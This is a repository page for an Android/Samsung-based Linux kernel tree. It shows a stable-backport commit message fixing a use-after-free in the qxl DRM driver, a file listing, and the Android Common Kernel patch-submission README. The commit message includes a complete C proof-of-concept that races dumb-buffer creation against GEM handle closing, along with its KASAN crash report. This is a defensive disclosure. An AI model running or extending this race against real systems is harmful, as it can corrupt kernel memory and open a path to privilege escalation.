FireAsf 🔥
Find a file
Wander Lairson Costa 4c393a8f53 drm/qxl: fix UAF on handle creation
commit c611589b4259ed63b9b77be6872b1ce07ec0ac16 upstream.

qxl_mode_dumb_create() dereferences the qobj returned by
qxl_gem_object_create_with_handle(), but the handle is the only one
holding a reference to it.

A potential attacker could guess the returned handle value and closes it
between the return of qxl_gem_object_create_with_handle() and the qobj
usage, triggering a use-after-free scenario.

Reproducer:

int dri_fd =-1;
struct drm_mode_create_dumb arg = {0};

void gem_close(int handle);

void* trigger(void* ptr)
{
	int ret;
	arg.width = arg.height = 0x20;
	arg.bpp = 32;
	ret = ioctl(dri_fd, DRM_IOCTL_MODE_CREATE_DUMB, &arg);
	if(ret)
	{
		perror("[*] DRM_IOCTL_MODE_CREATE_DUMB Failed");
		exit(-1);
	}
	gem_close(arg.handle);
	while(1) {
		struct drm_mode_create_dumb args = {0};
		args.width = args.height = 0x20;
		args.bpp = 32;
		ret = ioctl(dri_fd, DRM_IOCTL_MODE_CREATE_DUMB, &args);
		if (ret) {
			perror("[*] DRM_IOCTL_MODE_CREATE_DUMB Failed");
			exit(-1);
		}

		printf("[*] DRM_IOCTL_MODE_CREATE_DUMB created, %d\n", args.handle);
		gem_close(args.handle);
	}
	return NULL;
}

void gem_close(int handle)
{
	struct drm_gem_close args;
	args.handle = handle;
	int ret = ioctl(dri_fd, DRM_IOCTL_GEM_CLOSE, &args); // gem close handle
	if (!ret)
		printf("gem close handle %d\n", args.handle);
}

int main(void)
{
	dri_fd= open("/dev/dri/card0", O_RDWR);
	printf("fd:%d\n", dri_fd);

	if(dri_fd == -1)
		return -1;

	pthread_t tid1;

	if(pthread_create(&tid1,NULL,trigger,NULL)){
		perror("[*] thread_create tid1\n");
		return -1;
	}
	while (1)
	{
		gem_close(arg.handle);
	}
	return 0;
}

This is a KASAN report:

==================================================================
BUG: KASAN: slab-use-after-free in qxl_mode_dumb_create+0x3c2/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:69
Write of size 1 at addr ffff88801136c240 by task poc/515

CPU: 1 PID: 515 Comm: poc Not tainted 6.3.0 
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.0-debian-1.16.0-4 04/01/2014
Call Trace:
<TASK>
__dump_stack linux/lib/dump_stack.c:88
dump_stack_lvl+0x48/0x70 linux/lib/dump_stack.c:106
print_address_description linux/mm/kasan/report.c:319
print_report+0xd2/0x660 linux/mm/kasan/report.c:430
kasan_report+0xd2/0x110 linux/mm/kasan/report.c:536
__asan_report_store1_noabort+0x17/0x30 linux/mm/kasan/report_generic.c:383
qxl_mode_dumb_create+0x3c2/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:69
drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96
drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102
drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788
drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891
vfs_ioctl linux/fs/ioctl.c:51
__do_sys_ioctl linux/fs/ioctl.c:870
__se_sys_ioctl linux/fs/ioctl.c:856
__x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856
do_syscall_x64 linux/arch/x86/entry/common.c:50
do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80
entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120
RIP: 0033:0x7ff5004ff5f7
Code: 00 00 00 48 8b 05 99 c8 0d 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 69 c8 0d 00 f7 d8 64 89 01 48

RSP: 002b:00007ff500408ea8 EFLAGS: 00000286 ORIG_RAX: 0000000000000010
RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007ff5004ff5f7
RDX: 00007ff500408ec0 RSI: 00000000c02064b2 RDI: 0000000000000003
RBP: 00007ff500408ef0 R08: 0000000000000000 R09: 000000000000002a
R10: 0000000000000000 R11: 0000000000000286 R12: 00007fff1c6cdafe
R13: 00007fff1c6cdaff R14: 00007ff500408fc0 R15: 0000000000802000
</TASK>

Allocated by task 515:
kasan_save_stack+0x38/0x70 linux/mm/kasan/common.c:45
kasan_set_track+0x25/0x40 linux/mm/kasan/common.c:52
kasan_save_alloc_info+0x1e/0x40 linux/mm/kasan/generic.c:510
____kasan_kmalloc linux/mm/kasan/common.c:374
__kasan_kmalloc+0xc3/0xd0 linux/mm/kasan/common.c:383
kasan_kmalloc linux/./include/linux/kasan.h:196
kmalloc_trace+0x48/0xc0 linux/mm/slab_common.c:1066
kmalloc linux/./include/linux/slab.h:580
kzalloc linux/./include/linux/slab.h:720
qxl_bo_create+0x11a/0x610 linux/drivers/gpu/drm/qxl/qxl_object.c:124
qxl_gem_object_create+0xd9/0x360 linux/drivers/gpu/drm/qxl/qxl_gem.c:58
qxl_gem_object_create_with_handle+0xa1/0x180 linux/drivers/gpu/drm/qxl/qxl_gem.c:89
qxl_mode_dumb_create+0x1cd/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:63
drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96
drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102
drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788
drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891
vfs_ioctl linux/fs/ioctl.c:51
__do_sys_ioctl linux/fs/ioctl.c:870
__se_sys_ioctl linux/fs/ioctl.c:856
__x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856
do_syscall_x64 linux/arch/x86/entry/common.c:50
do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80
entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120

Freed by task 515:
kasan_save_stack+0x38/0x70 linux/mm/kasan/common.c:45
kasan_set_track+0x25/0x40 linux/mm/kasan/common.c:52
kasan_save_free_info+0x2e/0x60 linux/mm/kasan/generic.c:521
____kasan_slab_free linux/mm/kasan/common.c:236
____kasan_slab_free+0x180/0x1f0 linux/mm/kasan/common.c:200
__kasan_slab_free+0x12/0x30 linux/mm/kasan/common.c:244
kasan_slab_free linux/./include/linux/kasan.h:162
slab_free_hook linux/mm/slub.c:1781
slab_free_freelist_hook+0xd2/0x1a0 linux/mm/slub.c:1807
slab_free linux/mm/slub.c:3787
__kmem_cache_free+0x196/0x2d0 linux/mm/slub.c:3800
kfree+0x78/0x120 linux/mm/slab_common.c:1019
qxl_ttm_bo_destroy+0x140/0x1a0 linux/drivers/gpu/drm/qxl/qxl_object.c:49
ttm_bo_release+0x678/0xa30 linux/drivers/gpu/drm/ttm/ttm_bo.c:381
kref_put linux/./include/linux/kref.h:65
ttm_bo_put+0x50/0x80 linux/drivers/gpu/drm/ttm/ttm_bo.c:393
qxl_gem_object_free+0x3e/0x60 linux/drivers/gpu/drm/qxl/qxl_gem.c:42
drm_gem_object_free+0x5c/0x90 linux/drivers/gpu/drm/drm_gem.c:974
kref_put linux/./include/linux/kref.h:65
__drm_gem_object_put linux/./include/drm/drm_gem.h:431
drm_gem_object_put linux/./include/drm/drm_gem.h:444
qxl_gem_object_create_with_handle+0x151/0x180 linux/drivers/gpu/drm/qxl/qxl_gem.c:100
qxl_mode_dumb_create+0x1cd/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:63
drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96
drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102
drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788
drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891
vfs_ioctl linux/fs/ioctl.c:51
__do_sys_ioctl linux/fs/ioctl.c:870
__se_sys_ioctl linux/fs/ioctl.c:856
__x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856
do_syscall_x64 linux/arch/x86/entry/common.c:50
do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80
entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120

The buggy address belongs to the object at ffff88801136c000
which belongs to the cache kmalloc-1k of size 1024
The buggy address is located 576 bytes inside of
freed 1024-byte region [ffff88801136c000, ffff88801136c400)

The buggy address belongs to the physical page:
page:0000000089fc329b refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x11368
head:0000000089fc329b order:3 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0xfffffc0010200(slab|head|node=0|zone=1|lastcpupid=0x1fffff)
raw: 000fffffc0010200 ffff888007841dc0 dead000000000122 0000000000000000
raw: 0000000000000000 0000000080100010 00000001ffffffff 0000000000000000
page dumped because: kasan: bad access detected

Memory state around the buggy address:
ffff88801136c100: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
ffff88801136c180: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>ffff88801136c200: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
^
ffff88801136c280: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
ffff88801136c300: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================
Disabling lock debugging due to kernel taint

Instead of returning a weak reference to the qxl_bo object, return the
created drm_gem_object and let the caller decrement the reference count
when it no longer needs it. As a convenience, if the caller is not
interested in the gobj object, it can pass NULL to the parameter and the
reference counting is descremented internally.

The bug and the reproducer were originally found by the Zero Day Initiative project (ZDI-CAN-20940).

Link: https://www.zerodayinitiative.com/
Signed-off-by: Wander Lairson Costa <wander@redhat.com>
Cc: stable@vger.kernel.org
Reviewed-by: Dave Airlie <airlied@redhat.com>
Signed-off-by: Dave Airlie <airlied@redhat.com>
Link: https://patchwork.freedesktop.org/patch/msgid/20230814165119.90847-1-wander@redhat.com
[pchelkin: The problem can be reproduced on 5.10 stable. It lacks commit
 f4a84e165e6d ("drm/qxl: allocate dumb buffers in ram"). Adjust a small
 conflict regarding that commit: it affects only where the buffers are
 placed.]
Signed-off-by: Fedor Pchelkin <pchelkin@ispras.ru>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
2024-11-18 12:12:11 +01:00
.github/workflows Add build stuff 2024-06-15 16:48:05 -03:00
android Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
arch powerpc: update ppc_save_regs to save current r1 in pt_regs 2024-11-18 12:12:08 +01:00
block blk-throttle: fix lockdep warning of "cgroup_mutex or RCU read lock required!" 2024-11-18 12:11:56 +01:00
certs Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
crypto crypto: pcrypt - Fix hungtask for PADATA_RESET 2024-11-18 11:43:13 +01:00
Documentation dt-bindings: nvmem: mxs-ocotp: Document fsl,ocotp 2024-11-18 12:12:01 +01:00
drivers drm/qxl: fix UAF on handle creation 2024-11-18 12:12:11 +01:00
firmware/tsp_goodix Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
fs block: Don't invalidate pagecache for invalid falloc modes 2024-11-18 12:12:06 +01:00
gki Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
include Revert "scsi: core: Add scsi_prot_ref_tag() helper" 2024-11-18 12:12:05 +01:00
init kernel: sched: Configuring PELT half-life via Kconfig 2024-11-17 17:41:11 +01:00
io_uring io_uring/af_unix: disable sending io_uring over sockets 2024-11-18 12:11:46 +01:00
ipc Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
kernel tracing: Fix blocked reader of snapshot buffer 2024-11-18 12:12:03 +01:00
kernel_build kernel_build: build.sh: Fixed kernel version on zips/tars 2024-11-17 22:12:20 +01:00
kunitconfigs Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
lib lib/vsprintf: Fix %pfwf when current node refcount == 0 2024-11-18 12:12:01 +01:00
LICENSES Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
mm mm: fix unmap_mapping_range high bits shift bug 2024-11-18 12:12:08 +01:00
net net: tls, update curr on splice as well 2024-11-18 12:12:08 +01:00
samples Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
scripts sign-file: Fix incorrect return values check 2024-11-18 12:11:49 +01:00
security keys, dns: Allow key types (eg. DNS) to be reclaimed immediately on expiry 2024-11-18 12:11:59 +01:00
sound ASoC: meson: g12a-tohdmitx: Fix event generation for S/PDIF mux 2024-11-18 12:12:07 +01:00
test Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
tools tools headers UAPI: Sync linux/perf_event.h with the kernel sources 2024-11-18 12:11:47 +01:00
usr Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
virt Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
build.config.aarch64 Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
build.config.allmodconfig Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
build.config.allmodconfig.aarch64 Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
build.config.allmodconfig.arm Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
build.config.allmodconfig.x86_64 Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
build.config.amlogic Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
build.config.arm Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
build.config.common Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
build.config.db845c Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
build.config.erd8825_a25_s Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
build.config.erd8825_s Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
build.config.erd9925_evt0_s Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
build.config.erd9925_evt0_s5300_s Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
build.config.erd9925_s Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
build.config.gki Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
build.config.gki-debug.aarch64 Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
build.config.gki-debug.x86_64 Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
build.config.gki.aarch64 Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
build.config.gki.aarch64.fips140 Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
build.config.gki.aarch64.fips140_eval_testing Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
build.config.gki.x86_64 Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
build.config.gki_kasan Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
build.config.gki_kasan.aarch64 Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
build.config.gki_kasan.x86_64 Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
build.config.gki_kprobes Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
build.config.gki_kprobes.aarch64 Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
build.config.gki_kprobes.x86_64 Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
build.config.hikey960 Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
build.config.khwasan Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
build.config.mcd Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
build.config.rockchip Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
build.config.universal2100_s Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
build.config.universal8825_s Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
build.config.universal9925_evt0_s Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
build.config.universal9925_s Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
build.config.x86_64 Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
build.sh build.sh: Disabled temporary build without debug 2024-11-17 22:32:40 +01:00
COPYING Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
CREDITS Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
Kbuild Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
Kconfig Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
linux-stable.sh linux-stable.sh: Added for upstream 2024-11-08 11:11:32 +01:00
MAINTAINERS Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
Makefile Linux 5.10.207 2024-11-18 12:12:05 +01:00
OWNERS Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
README Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
README.md Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
vendor_boot_module_order_exynos2100.cfg Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
vendor_boot_module_order_s5e8825.cfg Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
vendor_boot_module_order_s5e9925.cfg Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
vendor_module_list_s5e8825.cfg Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
vendor_module_list_s5e9925.cfg Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
vendor_module_list_s5e9925_b0s.cfg Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
vendor_module_list_s5e9925_g0s.cfg Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00
vendor_module_list_s5e9925_r0s.cfg Import A536BXXU9EXDC 2024-06-15 16:02:09 -03:00

How do I submit patches to Android Common Kernels

  1. BEST: Make all of your changes to upstream Linux. If appropriate, backport to the stable releases. These patches will be merged automatically in the corresponding common kernels. If the patch is already in upstream Linux, post a backport of the patch that conforms to the patch requirements below.

    • Do not send patches upstream that contain only symbol exports. To be considered for upstream Linux, additions of EXPORT_SYMBOL_GPL() require an in-tree modular driver that uses the symbol -- so include the new driver or changes to an existing driver in the same patchset as the export.
    • When sending patches upstream, the commit message must contain a clear case for why the patch is needed and beneficial to the community. Enabling out-of-tree drivers or functionality is not not a persuasive case.
  2. LESS GOOD: Develop your patches out-of-tree (from an upstream Linux point-of-view). Unless these are fixing an Android-specific bug, these are very unlikely to be accepted unless they have been coordinated with kernel-team@android.com. If you want to proceed, post a patch that conforms to the patch requirements below.

Common Kernel patch requirements

  • All patches must conform to the Linux kernel coding standards and pass script/checkpatch.pl
  • Patches shall not break gki_defconfig or allmodconfig builds for arm, arm64, x86, x86_64 architectures (see https://source.android.com/setup/build/building-kernels)
  • If the patch is not merged from an upstream branch, the subject must be tagged with the type of patch: UPSTREAM:, BACKPORT:, FROMGIT:, FROMLIST:, or ANDROID:.
  • All patches must have a Change-Id: tag (see https://gerrit-review.googlesource.com/Documentation/user-changeid.html)
  • If an Android bug has been assigned, there must be a Bug: tag.
  • All patches must have a Signed-off-by: tag by the author and the submitter

Additional requirements are listed below based on patch type

Requirements for backports from mainline Linux: UPSTREAM:, BACKPORT:

  • If the patch is a cherry-pick from Linux mainline with no changes at all
    • tag the patch subject with UPSTREAM:.
    • add upstream commit information with a (cherry picked from commit ...) line
    • Example:
      • if the upstream commit message is
        important patch from upstream

        This is the detailed description of the important patch

        Signed-off-by: Fred Jones <fred.jones@foo.org>
  • then Joe Smith would upload the patch for the common kernel as
        UPSTREAM: important patch from upstream

        This is the detailed description of the important patch

        Signed-off-by: Fred Jones <fred.jones@foo.org>

        Bug: 135791357
        Change-Id: I4caaaa566ea080fa148c5e768bb1a0b6f7201c01
        (cherry picked from commit c31e73121f4c1ec41143423ac6ce3ce6dafdcec1)
        Signed-off-by: Joe Smith <joe.smith@foo.org>
  • If the patch requires any changes from the upstream version, tag the patch with BACKPORT: instead of UPSTREAM:.
    • use the same tags as UPSTREAM:
    • add comments about the changes under the (cherry picked from commit ...) line
    • Example:
        BACKPORT: important patch from upstream

        This is the detailed description of the important patch

        Signed-off-by: Fred Jones <fred.jones@foo.org>

        Bug: 135791357
        Change-Id: I4caaaa566ea080fa148c5e768bb1a0b6f7201c01
        (cherry picked from commit c31e73121f4c1ec41143423ac6ce3ce6dafdcec1)
        [joe: Resolved minor conflict in drivers/foo/bar.c ]
        Signed-off-by: Joe Smith <joe.smith@foo.org>

Requirements for other backports: FROMGIT:, FROMLIST:,

  • If the patch has been merged into an upstream maintainer tree, but has not yet been merged into Linux mainline
    • tag the patch subject with FROMGIT:
    • add info on where the patch came from as (cherry picked from commit <sha1> <repo> <branch>). This must be a stable maintainer branch (not rebased, so don't use linux-next for example).
    • if changes were required, use BACKPORT: FROMGIT:
    • Example:
      • if the commit message in the maintainer tree is
        important patch from upstream

        This is the detailed description of the important patch

        Signed-off-by: Fred Jones <fred.jones@foo.org>
  • then Joe Smith would upload the patch for the common kernel as
        FROMGIT: important patch from upstream

        This is the detailed description of the important patch

        Signed-off-by: Fred Jones <fred.jones@foo.org>

        Bug: 135791357
        (cherry picked from commit 878a2fd9de10b03d11d2f622250285c7e63deace
         https://git.kernel.org/pub/scm/linux/kernel/git/foo/bar.git test-branch)
        Change-Id: I4caaaa566ea080fa148c5e768bb1a0b6f7201c01
        Signed-off-by: Joe Smith <joe.smith@foo.org>
  • If the patch has been submitted to LKML, but not accepted into any maintainer tree
    • tag the patch subject with FROMLIST:
    • add a Link: tag with a link to the submittal on lore.kernel.org
    • add a Bug: tag with the Android bug (required for patches not accepted into a maintainer tree)
    • if changes were required, use BACKPORT: FROMLIST:
    • Example:
        FROMLIST: important patch from upstream

        This is the detailed description of the important patch

        Signed-off-by: Fred Jones <fred.jones@foo.org>

        Bug: 135791357
        Link: https://lore.kernel.org/lkml/20190619171517.GA17557@someone.com/
        Change-Id: I4caaaa566ea080fa148c5e768bb1a0b6f7201c01
        Signed-off-by: Joe Smith <joe.smith@foo.org>

Requirements for Android-specific patches: ANDROID:

  • If the patch is fixing a bug to Android-specific code
    • tag the patch subject with ANDROID:
    • add a Fixes: tag that cites the patch with the bug
    • Example:
        ANDROID: fix android-specific bug in foobar.c

        This is the detailed description of the important fix

        Fixes: 1234abcd2468 ("foobar: add cool feature")
        Change-Id: I4caaaa566ea080fa148c5e768bb1a0b6f7201c01
        Signed-off-by: Joe Smith <joe.smith@foo.org>
  • If the patch is a new feature
    • tag the patch subject with ANDROID:
    • add a Bug: tag with the Android bug (required for android-specific features)